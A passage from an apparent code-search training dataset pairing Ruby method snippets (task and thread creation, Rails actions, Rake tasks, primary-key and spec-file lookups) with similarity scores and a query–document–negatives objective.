"def create_task name, url, cron, enabled = nil, timeout = nil, mail_when_success = false, mail_when_failure = false, timezone = nil\n connection.create_task(id, name, url, cron, enabled, timeout, mail_when_success, mail_when_failure, timezone)\n end",
"def new(execution_context)\n Coordination::Task.new(execution_context, self)\n end",
"def create_task(task, tasklist_id = '@default')\n post gtasks_tasks_url(tasklist_id), strip(:task, :create, task)\n end",
"def call(_obj, args, _ctx)\n Task.create!(\n name: args[:name],\n description: args[:description]\n )\n end",
"def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend",
"def createTask(project, target)\n task \"#{project}.#{target}\" do\n print \"#######################################################\\n\"\n invokeRake project, target\n end\nend",
"def start_task(task)\n @tasks.synchronize {\n @tasks << Task.new(task)\n @timestamp.renew!\n }\n task\n end",
"def build_and_run_task(task_class, params = nil)\n task_run = TaskRun.new(task_class, params)\n @task_run_stack.last.runs << task_run\n\n @task_run_stack.push(task_run)\n task = super(task_class, params)\n @task_run_stack.pop\n task\n end",
"def delegate_new_task(block)\n block.call\n end",
"def task\n @task ||= default_task # rubocop:disable ThreadSafety/InstanceVariableInClassMethod\n end",
"def task(name, &block)\n name = name.to_s\n\n unless task = @tasks.find{|t| t.name == name}\n task = Salticid::Task.new(name, :salticid => self)\n @tasks << task\n end\n \n if block_given?\n task.block = block\n end\n\n task \n end",
"def new\n @task = Task.new(position: current_position)\n end",
"def create_task(options = {})\n request(:post, \"tasks\", options)\n end",
"def initialize(task)\n @task = task\n end",
"def execute\n new_task = Task.new(new_task_attributes)\n assign_location(new_task)\n new_task\n end",
"def task(name, &block)\n task = Wodan::Task.new(name)\n yield(task)\n wodan.tasks << task\n end",
"def add_task(*args)\n task = Util::get_task_from_args(*args)\n add_task_internal(task, true)\n end",
"def define_task\n desc @desc\n task @name do\n config.mode == 'shell' ? run_shell : run\n end\n end",
"def create\n # We'll see that in a moment.\n @task = task.new\n #@task = Task.create\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def new\n @task = Task.new\n end",
"def create\n @task = Task.create!(task_params)\n end",
"def initialize(task)\n super()\n @task= task \n end",
"def create_thread(list, action)\n Thread.new { action.call(list) }\n end",
"def createTask(description) \n task = Task.new\n task.Description = description\n @Tasks.push task\n end",
"def start_task_executor_thread\n unless @@task_executor_thread.nil?\n @@task_executor_thread.wakeup\n return\n end\n\n @@task_executor_thread = Thread.new do\n loop do\n if @@parallel_level > @@running_tasks_count\n task = nil\n @@pending_tasks_mutex.synchronize do\n task = @@pending_tasks.shift\n end\n\n if task.nil?\n Thread.stop\n else\n execute_task(task)\n end\n else\n Thread.stop\n end\n end\n end\n end",
"def create_task\n task = Task.create!(\n description: 'Test Task'\n )\nend",
"def start_instance\n @instance = Task.find(@task).instances.create\n end",
"def task(name, *dependencies, &block)\n if block.nil?\n Task.new(name, *dependencies)\n else\n Task.new(name, *dependencies) do |task|\n task.define(&block)\n end\n end\n end",
"def add_task(task)\n raise PWork::Async::Exceptions::InvalidOptionsError.new(\n 'A valid async task must be specified.'\n ) unless task.is_a?(PWork::Async::Task)\n task.thread_local_storage = PWork::Helpers::Threads.get_thread_vars\n process_task(task)\n end",
"def task_run(&block) \n task(&block).start\n end",
"def add(id, *args)\n @tasks[id] = @task_factory.new(*args)\n end",
"def start_task(task)\n @pool.start(task)\n @logger.info \"started task #{AllocatorUtils::get_task_key(task)}\"\n end",
"def thread(*args, &block)\n puts \"#{__thread_pool_state}: A new task pooshed for\"\n __thread_pool_sync {\n raise QueueFullError if\n __thread_pool_queue.size == __thread_pool_queue.max\n __thread_pool_queue.push [block, args]\n @__threads_working ||= 0\n @__threads_idle ||= 0\n __thread_worker_new if @__threads_idle == 0 &&\n @__threads_working < __thread_pool_opt_size(@__threads_working+1)\n }\n end",
"def _create_task_by_name(task_name)\n @tasks.each do |t|\n return t.clone if t.name == task_name\n end\n raise \"Unknown Task!\" # couldn't find it. boo.\n end",
"def new_task(params = {})\n raise ArgumentError if not params[:title] or params[\"title\"]\n\n params.keys.each do |key|\n raise ArgumentError if not Babar::Taskfields.include? key.to_sym\n end\n\n #Create a new Task object and push it onto the array of tasks to be added upon the next sync\n task = Babar::Task.new(@authenticator, params) \n @new_tasks.push(task)\n @tasks[task.id] = task\n end",
"def create_task(task_body, opts = {})\n data, _status_code, _headers = create_task_with_http_info(task_body, opts)\n data\n end",
"def create\n queue = Queue.new\n thread = Thread.new do\n while proc = queue.pop\n begin\n proc.call\n rescue ::Exception => ex\n Internals::Logger.crash(\"thread crashed\", ex)\n ensure\n put thread\n end\n end\n end\n\n thread[:celluloid_queue] = queue\n # @idle_threads << thread\n @group << thread\n thread\n end",
"def task_creation(task)\n @task = task\n @project = @task.project\n mail to: task.user.email, subject: \"New task created: #{task.name}\"\n end",
"def start\n @thread = Thread.new &@block\n @thread.eldritch_task = self\n end",
"def task(attributes, **keyword_args)\n append(Task.new(attributes, **keyword_args))\n end",
"def create_worker_thread\n wrkr = ThreadPoolWorker.new(@queue, self)\n Thread.new(wrkr, self) do |worker, parent|\n Thread.current.abort_on_exception = false\n worker.run\n parent.on_worker_exit(worker)\n end\n return wrkr\n end",
"def thread\n @thread ||= super\n return @thread unless @thread.nil?\n\n @thread = build_thread\n @thread.save if persisted?\n @thread\n end",
"def create_task step, steps\n task = Rake::Task::define_task( step[ :task ] => steps.collect{ | s | s[ :task ] } ) do | task, arguments |\n tags = build_tags step, steps\n\n if cloud.exists? tags\n puts \"image \\'#{step[ :name ]}\\' already up to date and exists:\"\n tags.each{ | key, value | puts \"\\'#{key}\\' => \\'#{value}\\'\" } \n else\n puts \"starting instance for: \\'#{step[ :name ]}\\'\"\n instance = cloud.start_instance initial_image_id( step, steps )\n puts \"instance for: \\'#{step[ :name ]}\\' started.\"\n\n begin\n dns_name = cloud.dns_name instance\n expand_step = step.dup.merge( setup_name: expand_path( step[ :setup_name ] ) )\n expand_step[ :tags ] = tags \n \n puts \"excuting installation for: \\'#{step[ :name ]}\\'\"\n setup.execute expand_step, dns_name \n puts \"installation for: \\'#{step[ :name ]}\\' done.\"\n\n puts \"storing image for: \\'#{step[ :name ]}\\'\"\n cloud.store_image instance, tags\n puts \"image for: \\'#{step[ :name ]}\\' stored\"\n rescue\n cloud.stop_instance instance\n raise\n end \n end \n end\n\n task.add_description( step[ :description ] ) if step.key? :description\n task\n end",
"def new\n @postit_task = PostitTask.new()\n end",
"def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\nend",
"def define_task(task_class, *args, &block)\n @ProjectFileLoader.CurrentlyLoadedProjectFile().define_task(task_class, *args, &block)\n end",
"def task(*args, &block)\n args, cond = Rake::Task.strip_conditions(args)\n task = Rake::Task.define_task(*args, &block)\n task.add_conditions cond\n task\n end",
"def new\n\t\t@task= Task.new\n\tend",
"def start_thread #does this need to be its own thread?\n @@thread = Thread.new do\n self.run\n end\n end",
"def new_task(task)\n @task = task\n\n mail to: task.assigned_user.email, subject: \"Vypro prj.: #{task.project.name}, úkol: #{task.name}\"\n end",
"def initialize(&blk)\n self.future_thread = Thread.new(&blk)\n end",
"def task_instance(name,*args,&ruby_block)\n HDLRuby::High::Std.task_instance(name,*args,&ruby_block)\n end",
"def to_task\n\t\tt = Rubyfocus::Task.new(nil)\n\t\tinstance_variables.each do |ivar|\n\t\t\tnext if ivar == :\"@document\"\n\t\t\tsetter = ivar.to_s.gsub(/^@/,\"\") + \"=\"\n\t\t\tt.send(setter, self.instance_variable_get(ivar))\tif t.respond_to?(setter)\n\t\tend\n\t\tt\n\tend",
"def task(executor, message)\n\n domain = message['exid'].split('-', 2).first\n #tname = message['tasker']\n tname = determine_tasker_name(executor, message)\n\n tconf =\n ( ! message['routed'] &&\n (@unit.loader.tasker(domain, 'ganger', message) ||\n @unit.loader.tasker(domain, 'tasker', message))) ||\n @unit.loader.tasker(domain, tname, message)\n\n fail ArgumentError.new(\n \"tasker #{tname.inspect} not found\"\n ) unless tconf\n\n if tconf.is_a?(Array)\n\n points = [ nil, message['point'] ]\n points << 'detask' if points.include?('cancel')\n points << 'task' if points.include?('return')\n\n tconf = tconf.find { |h| points.include?(h['point']) }\n end\n\n fail ArgumentError.new(\n \"tconf #{tconf.inspect} not a hash\"\n ) unless tconf.is_a?(Hash)\n\n message['tconf'] = tconf unless tconf['include_tconf'] == false\n\n message['vars'] = gather_vars(executor, tconf, message)\n\n m = Flor.dup_message(message)\n #\n # the tasker gets a copy of the message (and it can play with it\n # to its heart content), meanwhile the message is handed to the\n # \"post\" notifiers.\n\n @unit.caller.call(self, tconf, m)\n #\n # might return a re-routing message,\n # especially if it's a domain tasker\n end",
"def task_later(&block) \n task = TaskRunnableLater.new\n task.proc = Proc.new(block)\n task\n end",
"def set_task(name,task=nil) # Add a Task and its name\n @defaults['taskname']=name.to_s # taskname = task name\n if ! task.nil?\n @defaults['taskobj']=task # taskobj = the Task\n @defaults['env']=task.envars # env = the Task's env vars\n @defaults['seq']=task.seq # seq = Task's index location\n end\n return self\n end",
"def new\n @task = @project.tasks.build\n end",
"def simple_rake_task(task_name = 'test_task', indent: '', task_body: \"\\n\")\n \"\\n\" + indent +\n \"desc 'task named #{task_name}'\\n\" +\n indent + \"task :#{task_name} do\\n\" +\n indent + \" \" + task_body +\n indent + \"end\\n\\n\"\n\n end",
"def start_new_thread(username, params = {})\n $LOG.i \"running \" + __method__.to_s\n @client.post '/mc/v1/threads/' + username, params\n end",
"def _start_new_worker(worker)\n Thread.new do\n worker.work\n end\n end",
"def task(*args, &block)\n Util.task(*args, &block)\n end",
"def task_manager\n TaskManager.new(runner, logger: logger)\n end",
"def task(name, &block)\n name = name.to_s\n\n if task = @tasks.find{|t| t.name == name}\n # Found in self\n elsif (task = @salticid.tasks.find{|t| t.name == name}) and not block_given?\n # Found in salticid\n @tasks << task\n else\n # Create new task in self\n task = Salticid::Task.new(name, :salticid => @salticid)\n @tasks << task\n end\n\n if block_given?\n # Remove the task from our list, and replace it with a copy.\n # This is to prevent local declarations from clobbering global tasks.\n i = @tasks.index(task) || @task.size\n task = task.dup\n task.block = block\n @tasks[i] = task\n end\n\n task\n end",
"def task(name, &block)\n name = name.to_s\n\n if task = @tasks.find{|t| t.name == name}\n # Found in self\n elsif (task = @salticid.tasks.find{|t| t.name == name}) and not block_given?\n # Found in salticid\n @tasks << task\n else\n # Create new task in self\n task = Salticid::Task.new(name, :salticid => @salticid)\n @tasks << task\n end\n\n if block_given?\n # Remove the task from our list, and replace it with a copy.\n # This is to prevent local declarations from clobbering global tasks.\n i = @tasks.index(task) || @task.size\n task = task.dup\n task.block = block\n @tasks[i] = task\n end\n\n task\n end",
"def build_task(argv)\n arguments = argv.dup\n task_name = arguments.shift\n klazz = Task.from_name(task_name)\n klazz.new(*klazz.parse_options!(arguments))\n rescue NameError\n task_not_found(task_name)\n exit(FALSE)\n rescue ArgumentError\n help(task_name)\n exit(FALSE)\n end",
"def create\n @task = Task.new(task_params)\n @task.save\n end",
"def enq name, schedule, options = {}, &block\n raise ArgumentError.new(\"Block not given\") unless block_given?\n\n new_task = nil\n @mutex.synchronize do\n @tasks << new_task = Task.send(:new,\n self, name, schedule,\n options[:exclusive], options[:timeout],\n &block)\n end\n return new_task\n end",
"def task(task_name, opts = EMPTY_HASH)\n conf = OpenStruct.new # rubocop:disable Style/OpenStructUse\n yield conf\n tasks << ({ name: task_name, **opts, **conf.to_h })\n self\n end",
"def get_instance(payload)\n TaskInstance.new(@version, payload, workspace_sid: @solution[:workspace_sid])\n end",
"def create\n\t\tformat_task_attributes(task_params)\n\t\t@task =Task.new(@updated_params)\n\t\tlogger.debug \"Created Task #{@task}\"\n\t\t@task.user = current_user\n\t\tauthorize! :create, @task\n\t\t@task.is_completed=false\n\t\tsave_task\n\tend",
"def get_instance(payload)\n TaskInstance.new(@version, payload, workspace_sid: @solution[:workspace_sid], )\n end",
"def add_new_task( task_id, label, role=nil, obsolete=nil )\n raise RuntimeError.new( 'add_initial_task must be used first' ) unless @task_list.count > 1\n add_the_task( task_id, label, role, obsolete )\n end",
"def create_task(options = {})\n task = Task.create({\n title: \"a\"*(Task::TITLE_MIN_LENGTH),\n difficult: Task::PERMITTED_FIBONACCI_VALUES.first,\n description: \"a\"*(Task::DESCRIPTION_MIN_LENGTH)\n }.merge(options))\n\n return task\n end",
"def create_task_worker(tuple_space)\n res = true\n\n @task_worker_lock.synchronize do\n @spawnings += 1\n\n # spawn a new process of pione-task-worker command\n if self[:spawn_task_worker]\n # make task worker's parameters\n param = {\n :features => Global.features,\n :tuple_space_id => tuple_space.uuid\n }\n\n begin\n spawner = Command::PioneTaskWorker.spawn(self, param)\n @task_workers << spawner.child_front\n spawner.when_terminated {delete_task_worker(spawner.child_front)}\n rescue Command::SpawnError => e\n Log::Debug.system(\"Task worker broker agent failed to spawn a task worker: %s\" % e.message)\n res = false\n end\n else\n @task_workers << Agent::TaskWorker.start(tuple_space, Global.expressional_features, @env)\n end\n\n @spawnings -= 1\n end\n\n return res\n end",
"def new\n\t@task = Task.new\nend",
"def <<(task)\n enqueue_task(task)\n end",
"def schedule_recurring_task_creation(task)\n recurring_scheduler = Scheduler.new\n @recurring_schedulers << recurring_scheduler\n\n recurring_scheduler.schedule.every \"#{Helpers.convert_frequency_to_seconds(task.frequency).to_s}s\" do\n new_task = Task.new\n new_task.description = task.description\n new_task.frequency = task.frequency\n new_task.creation_date = Time.now.getlocal\n new_task.target_date = Helpers.calculate_task_target_date(\n new_task.creation_date,\n new_task.frequency\n )\n new_task.recurring_scheduler_id = recurring_scheduler.id\n\n new_task.create_reminder_notification\n new_task.create_failed_notification\n\n add_task(new_task)\n end\n end",
"def <<(task)\n post(&task)\n self\n end",
"def <<(task)\n post(&task)\n self\n end",
"def add_task(interval, &block)\n tasks << Task.new(interval, block)\n end",
"def to_task; self end",
"def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\n end",
"def run(task)\n Rake::Task[task].invoke\nend"
] |
[
"0.658307",
"0.6420867",
"0.6420259",
"0.63941556",
"0.6373084",
"0.621616",
"0.61685836",
"0.6144548",
"0.6128336",
"0.611508",
"0.61070234",
"0.61070234",
"0.60641783",
"0.59942997",
"0.5931701",
"0.5905548",
"0.59002954",
"0.58705866",
"0.5866429",
"0.58647406",
"0.58646715",
"0.58603776",
"0.585588",
"0.58437544",
"0.5840167",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.5829634",
"0.58204395",
"0.5800725",
"0.5734284",
"0.57289517",
"0.57228774",
"0.5715541",
"0.5705838",
"0.5693543",
"0.5682049",
"0.56673086",
"0.5662456",
"0.5656748",
"0.56506705",
"0.5648567",
"0.5644929",
"0.56424576",
"0.5637157",
"0.5636132",
"0.56334984",
"0.563326",
"0.56285506",
"0.5624853",
"0.5610944",
"0.5605789",
"0.55969304",
"0.5576603",
"0.5568001",
"0.5562723",
"0.5560619",
"0.5555533",
"0.55534756",
"0.5551419",
"0.5536154",
"0.55291295",
"0.5528219",
"0.55206674",
"0.550739",
"0.5499379",
"0.549026",
"0.5483075",
"0.5479982",
"0.5466201",
"0.5458357",
"0.5458357",
"0.5455789",
"0.5449773",
"0.54426354",
"0.54418457",
"0.5438753",
"0.543575",
"0.5429665",
"0.54101056",
"0.5403515",
"0.5399758",
"0.5397797",
"0.53939146",
"0.53935146",
"0.5389792",
"0.5389792",
"0.53891706",
"0.5382846",
"0.53819627",
"0.5381106"
] |
0.0
|
-1
|
Instantiates a new instance of self.
|
def initialize(file_specs, options)
@file_specs = file_specs
@options = options
@options['log_level'] ||= 'info'
@logger = initialize_logger(@options['logger'])
@reporter = initialize_reporter(@options['validation-reporter'])
@options['run_options'] ||= [] # make sure this is always an array since validators may add to it
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n \n end",
"def new()\n #This is a stub, used for indexing\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize()\n end",
"def initialize() end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def constructor; end",
"def new\n \n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def initialize\r\n\r\n end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def new\n self\n end",
"def initialize\n init\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n \n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize\n end",
"def initialize\n\t\t\n\tend",
"def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def new(*)\n load\n super\n end",
"def initialize\n super(true)\n end",
"def initialize()\n # override parent\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end",
"def initialize()\n super\n end"
] |
[
"0.77194566",
"0.7662317",
"0.75612843",
"0.75612843",
"0.75612843",
"0.75612843",
"0.75612843",
"0.75612843",
"0.74761206",
"0.74014324",
"0.74014324",
"0.7391811",
"0.73667973",
"0.732348",
"0.732348",
"0.732348",
"0.732348",
"0.732348",
"0.732348",
"0.732348",
"0.73195356",
"0.73143965",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.7310059",
"0.72944903",
"0.72944903",
"0.72944903",
"0.72944903",
"0.72944903",
"0.72590685",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.7229626",
"0.72243774",
"0.72243774",
"0.72243774",
"0.7195629",
"0.7175657",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71648145",
"0.71526456",
"0.71208304",
"0.71208304",
"0.7118483",
"0.7118483",
"0.7110593",
"0.7048676",
"0.70369357",
"0.7021939",
"0.7021939",
"0.7021939",
"0.7021939",
"0.7021939",
"0.7020103",
"0.7020103",
"0.7020103",
"0.7020103",
"0.7020103",
"0.7020103",
"0.7020103",
"0.7020103",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.699969",
"0.69766825",
"0.697009",
"0.6963882",
"0.6940937",
"0.6940937",
"0.6940937",
"0.6940937",
"0.6940937"
] |
0.0
|
-1
|
Returns the primary file spec for self. This is used for reporting where we want a single file spec only. Uses the one with key :primary if present, otherwise a random one.
|
def primary_file_spec
@file_specs[:primary] || @file_specs[@file_specs.keys.first]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def corresponding_primary_file\n return self if is_primary?\n\n cpct = corresponding_primary_content_type\n self.class.new(\n File.read(corresponding_primary_filename),\n cpct.language,\n corresponding_primary_filename,\n cpct\n )\n end",
"def primary_attachment_name\n self[:primary_attachment_name] || (self.primary_attachment.file? ? Asset.file_name_without_ext(self.primary_attachment_file_name) : nil)\n end",
"def specfile\n Dir[\"#{@path}/[Ss]pecfile\"].first\n end",
"def primary_key\n primary_key = attributes.find { |a| a.primary_key? }\n error(\"Unable to locate primary key for #{self.name}, attributes => #{attributes.collect { |a| a.name }}\") unless primary_key\n primary_key\n end",
"def preservation_file\n if parent.try(:image_resource?)\n @file_set.primary_file\n else\n @file_set.preservation_file || @file_set.primary_file\n end\n end",
"def file\n files.first\n end",
"def file\n files.first\n end",
"def primary_key\n @resource_options.fetch :primary_key, :\"#{singular_resource_name}_id\"\n end",
"def primary\n @primary ||= create_primary\n end",
"def primary_key\n @primary_key ||= @klass.primary_key.to_s\n end",
"def primary_key\n @primary_key ||= :id\n end",
"def primary_key\n @primary_key\n end",
"def filename\n # just checking the first file (which is the file where an object\n # is first declared)\n files.first\n end",
"def primary\n self['primary']\n end",
"def primary\n @data['primary']\n end",
"def file\n @files.first ? @files.first[0] : nil\n end",
"def file\n @files.first ? @files.first[0] : nil\n end",
"def base_id\n\t\tbase_file = File.basename(sorted_files.first)\n\t\tif base_file =~ /^\\d+\\=.*\\+(.*)\\.zip$/\n\t\t\t$1\n\t\telse\n\t\t\traise RuntimeError, \"Malformed patch file #{base_file}.\"\n\t\tend\n\tend",
"def primary_key\n self.class.primary_key == :id ? id : @saved_attributes[self.class.primary_key]\n end",
"def spec_for(file)\n base = File.basename(file)\n extension = File.extname(base)\n dir = File.dirname(file)\n dir_array = dir.split('/')\n if extension == '.rb' and dir_array.first=='spec'\n return file\n end\n if extension == '.rb'\n base_without_extension = base[0, base.size - extension.size]\n spec_file = base_without_extension + '_spec' + extension\n else\n spec_file = base + '_spec.rb'\n end\n dir_array[0]='spec'\n spec_dir = dir_array.join('/')\n return File.join(spec_dir, spec_file)\n end",
"def spec\n # NOTE the idea here is that the local spec will be used if it exists, or\n # an image_spec lookup will happen based on mounted_as\n local_spec.presence || \n\n spec_dimensions.present? && self ||\n \n @floating_spec ||= begin\n if mounted_as.present?\n # first we try to find the exact spec based on mounted record and mount \n # name (e.g. user#avatar)\n ImageSpec.find_by_identifier(mounted_as) ||\n\n # If that fails we'll look for a more general spec based solely on\n # the mount association name (e.g. avatar)\n mounted_association && ImageSpec.find_by_identifier(mounted_association)\n end\n end\n end",
"def primary_key\n @primary_key || 'id'\n end",
"def primary_key\n return @primary_key if @primary_key\n return 'id' if @id\n \n candidates = @columns.find_all { |col| col.unique }.map { |col| col.name }\n return 'id' if candidates.include? 'id'\n candidates.find { |c| c =~ eval(\"/^#{@name}.*id$/i\") } ||\n candidates.find { |c| c =~ eval(\"/^#{singularize}.*id$/i\") } ||\n candidates.find { |c| c =~ eval(\"/^#{pluralize}.*id$/i\") } ||\n candidates.first\n end",
"def primary\n @primary ||= @lmdb.transaction do\n if ret = @dbs[:control]['primary']\n ret.strip.to_sym\n end\n end\n end",
"def spec(first = false)\n raise \"there is no spec\" if @specs.empty?\n raise \"there are more than one spec\" if @specs.size > 1 if !first\n @specs.first\n end",
"def find_one(selector = nil)\n metadata = files_collection.find(selector).first\n return nil unless metadata\n chunks = chunks_collection.find(:files_id => metadata[:_id]).sort(:n => 1)\n Grid::File.new(chunks.to_a, metadata)\n end",
"def identifier\n @identifier || (file && storage.try(:identifier))\n end",
"def primary_key\n select(&:primary_key?)\n end",
"def spec_file\n return @spec_file if defined?(@spec_file)\n return @spec_file = nil unless loaded_from && File.file?(loaded_from)\n @spec_file = begin\n file = { name: File.basename(loaded_from), dir: File.dirname(loaded_from) }\n Licensee::ProjectFiles::PackageManagerFile.new(File.read(loaded_from), file)\n end\n end",
"def primary_key\n @attributes[self.primary_key_attribute]\n end",
"def primary_property\n pp = self.variant_properties.find_by(primary: true)\n pp ? pp : self.variant_properties.first\n end",
"def find_stemcell_file(release_id, filename, product_name)\n files = JSON.parse(get_product_release_files(product_name, release_id).body).fetch('product_files')\n file = files.select{ |r| r.fetch('aws_object_key') =~ filename }.first\n return file['id'], file['aws_object_key'].split('/')[-1]\n end",
"def primary_key\n fields.select { |f| f.key }.map(&:name)\n end",
"def primary_production\n @primary_prod ||= CSVDocument.new(\n dataset_dir.join('primary_production.csv'))\n end",
"def primary_key(table)\n pk_and_sequence = pk_and_sequence_for(table)\n pk_and_sequence && pk_and_sequence.first\n end",
"def primary_key\n return @primary_key if @primary_key\n @primary_key = dimension_table.to_s.camelize.constantize.primary_key.to_sym\n rescue NameError => e\n ETL::Engine.logger.debug \"couldn't get primary_key from dimension model class, using default :id\"\n @primary_key = :id\n end",
"def primary_key\n self[:primary_key]\n end",
"def primary_key\n self.class.primary_key\n end",
"def primary_key\n self.class.primary_key\n end",
"def primary_key\n self.class.primary_key\n end",
"def filename\n Dir[glob].first if exists?\n end",
"def spec_file\n @spec_file ||= File.join spec_dir, \"#{full_name}.gemspec\"\n end",
"def primary_property\n pp = self.variant_properties.find_by(primary: true)\n pp ? pp : self.product_sku_properties.first\n end",
"def primary_key\n cached_fetch(:primary_key){associated_class.primary_key || raise(Error, \"no primary key specified for #{associated_class.inspect}\")}\n end",
"def corresponding_primary_content_type\n return self if is_primary_repo\n self.class.new(corresponding_primary_content_type_base_dir)\n end",
"def qualified_primary_key\n cached_fetch(:qualified_primary_key){self[:qualify] == false ? primary_key : qualify_assoc(primary_key)}\n end",
"def original_file_id\n \"#{resource.id}/files/#{resource.original_file_id}\"\n end",
"def stable_version_file\n return sorted_files.first unless @stable_version\n\n sorted_files.select { |f| file_to_semver(f) <= SemVersion.new(@stable_version) }.first\n end",
"def primary_key(table_name)\n # TODO: Change this to be a pure mongo lookup by digging into document definitions\n # TODO: Manage _id and id\n id_definition = Mongo::DocumentDefinition.fields_for(table_name).find { |_, field_definition| field_definition['primary_key'] }\n Array(id_definition).first # && id_definition.first || '_id'\n end",
"def primary_key_for_sphinx\n @primary_key_for_sphinx ||= read_attribute(self.class.primary_key_for_sphinx)\n end",
"def primary_pack_id\n data[:primary_pack_id]\n end",
"def main_file\n @main_file ||= if flac_with_m4a?\n asset.file_derivatives[:m4a] || asset.file\n else\n asset.file\n end\n end",
"def primary_key table\n return nil unless table\n table = self[table]\n pk = table.column_names.find{ |c| table[c].primary_key? }\n end",
"def primary_key(table_name)\n pk_and_sequence = pk_and_sequence_for(table_name)\n pk_and_sequence && pk_and_sequence.first\n end",
"def package_file\n super || spec_file\n end",
"def specfile\n rendered_file_for(:specfile)\n end",
"def primary_key\n '_id'\n end",
"def latest_version_file\n sorted_files.first\n end",
"def primary_key\n send( self.class.primary_key )\n end",
"def decide_files(file)\n return file if file\n spec_files\n end",
"def decide_files(file)\n return file if file\n spec_files\n end",
"def query_file_id\n @attributes[:query_file_id]\n end",
"def the_spec(spec_or_key)\n spec = maybe_spec(spec_or_key)\n return spec if spec\n\n if Utils.ident?(spec_or_key)\n raise \"Unable to resolve spec: #{spec_or_key}\"\n end\n end",
"def primary_key_name\n @primary_key_name ||= @connection.schema[@table_name.to_s][:primary_key]\n end",
"def get_spec_and_project_id(base_path)\n goodfile_path = GoodData::Helpers.find_goodfile(Pathname(base_path))\n fail 'Goodfile could not be located in any parent directory. Please make sure you are inside a gooddata project folder.' if goodfile_path.nil?\n goodfile = JSON.parse(File.read(goodfile_path), :symbolize_names => true)\n spec_path = goodfile[:model] || fail('You need to specify the path of the build spec')\n fail \"Model path provided in Goodfile \\\"#{spec_path}\\\" does not exist\" unless File.exist?(spec_path) && !File.directory?(spec_path)\n\n spec_path = Pathname(spec_path)\n\n content = File.read(spec_path)\n spec = if (spec_path.extname == '.rb')\n eval(content)\n elsif (spec_path.extname == '.json')\n JSON.parse(spec_path, :symbolize_names => true)\n end\n [spec, goodfile[:project_id]]\n end",
"def pdf_file\n file_metadata.find do |file|\n file.mime_type == [\"application/pdf\"]\n end\n end",
"def spec # :nodoc:\n @spec ||=\n begin\n tuple = Gem::NameTuple.new @name, @version, @platform\n\n @source.fetch_spec tuple\n end\n end",
"def filename\n tmp_path = self.path\n if self.partial\n tmp_path.gsub(/([^\\/]+)\\z/, '_\\1')\n else\n tmp_path\n end\n end",
"def primary_key(table_name)\n pk_and_sequence_for(table_name)[0]\n rescue\n nil\n end",
"def full_filename (for_file = model.document.file)\n for_file\n end",
"def primary_key(table_name)\n 'id' # table.primary_key || 'id'\n end",
"def get_existing_spec_location\n [ \n \"#{Dir.pwd}/#{Default.default_specfile_name}\",\n Dir[\"#{Dir.pwd}/*/#{Default.default_specfile_name}\"],\n \"#{Default.remote_storage_path}/#{Default.default_specfile_name}\", \n \"#{Default.default_specfile_name}\", \n \"#{Default.base_config_directory}/#{Default.default_specfile_name}\",\n \"#{Default.poolparty_home_path}/#{Default.default_specfile_name}\", \n ENV[\"POOL_SPEC\"]\n ].flatten.reject {|a| a.nil?}.reject do |f|\n f unless ::File.readable?(f)\n end.first\n end",
